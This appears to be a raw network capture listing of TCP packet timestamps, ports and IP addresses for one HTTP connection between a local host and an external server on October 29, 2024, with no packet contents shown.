Oct 29, 2024 04:52:32.750338078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.750344992 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.750355959 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.750376940 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.750433922 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.750478983 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.750524998 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.750539064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.750552893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.750569105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.750575066 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.750583887 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.750595093 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.750605106 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.750614882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.750782967 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.750797987 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.750812054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.750827074 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.750833988 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.750844002 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.750844002 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.750854015 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.750863075 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.750884056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.751019001 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.751061916 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.751167059 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.751182079 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.751199007 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.751210928 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.751214027 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.751221895 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.751230955 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.751240015 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.751245022 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.751247883 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.751262903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.751270056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.751281023 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.751298904 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.751543999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.751559973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.751595020 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.751611948 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.751692057 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.751715899 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.751733065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.751741886 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.751746893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.751754999 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.751763105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.751764059 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.751780033 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.751796007 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.751796007 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.751811028 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.752002001 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.752042055 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.752047062 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.752058029 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.752073050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.752084017 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.752089024 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.752093077 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.752106905 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.752109051 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.752130032 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.752137899 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.752608061 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.752620935 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.752657890 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.752727032 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.752742052 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.752756119 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.752770901 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.752773046 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.752787113 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.752794981 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.752803087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.752818108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.752818108 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.752835989 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.752840042 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.752850056 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.752856970 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.752883911 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.753231049 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.753246069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.753261089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.753274918 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.753281116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.753290892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.753302097 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.753307104 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.753315926 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.753323078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.753335953 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.753340006 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.753356934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.753359079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.753372908 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.753380060 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.753390074 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.753391981 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.753406048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.753412962 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.753422976 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.753433943 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.753433943 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.753458023 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.753758907 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.753772974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.753799915 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.753803968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.753824949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.753825903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.753834963 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.753842115 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.753856897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.753864050 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.753873110 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.753878117 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.753889084 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.753899097 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.753904104 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.753909111 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.753920078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.753928900 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.753935099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.753941059 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.753951073 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.753957033 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.753967047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.753969908 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.753984928 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.754004002 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.754683971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.754699945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.754714966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.754729033 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.754729033 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.754738092 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.754746914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.754761934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.754769087 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.754776955 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.754786015 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.754791975 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.754797935 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.754808903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.754815102 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.754826069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.754827023 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.754842997 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.754846096 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.754859924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.754868031 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.754874945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.754878998 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.754890919 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.754899979 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.754905939 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.754916906 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.754925966 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.754945993 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.755656958 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.755673885 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.755686998 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.755702019 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.755707979 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.755717993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.755717993 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.755727053 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.755733967 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.755737066 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.755749941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.755758047 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.755767107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.755767107 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.755784035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.755789995 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.755800962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.755800962 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.755820036 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.755826950 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.755836964 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.755837917 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.755852938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.755858898 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.755870104 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.755870104 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.755887032 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.755903006 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.755903006 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.755903006 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.755920887 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.755937099 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.756506920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.756522894 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.756536007 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.756551027 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.756552935 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.756568909 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.756576061 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.756582022 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.756592035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.756603956 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.756607056 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.756613970 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.756623030 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.756643057 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.756643057 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.756669044 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.792794943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.792819023 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.792840004 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.792872906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.792889118 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.792907000 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.792913914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.792929888 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.792948008 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.792967081 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.793019056 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.793035984 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.793051004 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.793060064 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.793083906 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.793157101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.793169975 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.793194056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.793219090 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.793230057 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.793246031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.793268919 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.793288946 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.793320894 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.793338060 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.793353081 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.793359995 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.793379068 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.793392897 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.867249012 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.867363930 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.867397070 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.867413044 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.867429018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.867444038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.867451906 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.867461920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.867472887 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.867480040 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.867526054 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.867549896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.867599010 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.867630005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.867682934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.867681980 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.867701054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.867718935 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.867733002 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.867768049 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.867768049 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.867923021 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.867938995 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.867954969 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.867970943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.867971897 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.867988110 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.867990971 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.868005037 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.868021965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.868027925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.868051052 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.868076086 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.868249893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.868264914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.868279934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.868294954 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.868299007 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.868310928 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.868319988 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.868336916 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.868344069 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.868354082 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.868382931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.868410110 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.868582964 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.868598938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.868628979 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.868662119 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.868746996 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.868763924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.868778944 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.868794918 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.868802071 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.868810892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.868829012 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.868830919 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.868849039 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.868849039 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.868865013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.868897915 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.868897915 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.868930101 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.869087934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.869102955 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.869117975 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.869138956 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.869163990 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.869183064 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.869189024 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.869205952 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.869220018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.869235992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.869240046 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.869251966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.869267941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.869270086 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.869283915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.869299889 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.869307041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.869323969 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.869343996 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.869709969 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.869726896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.869741917 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.869759083 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.869781017 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.869781017 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.869815111 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.869832993 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:32.870021105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.870043993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.870059013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.870073080 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.870086908 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.870102882 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:32.870117903 CET	80	49760	185.215.113.206	192.168.2.4
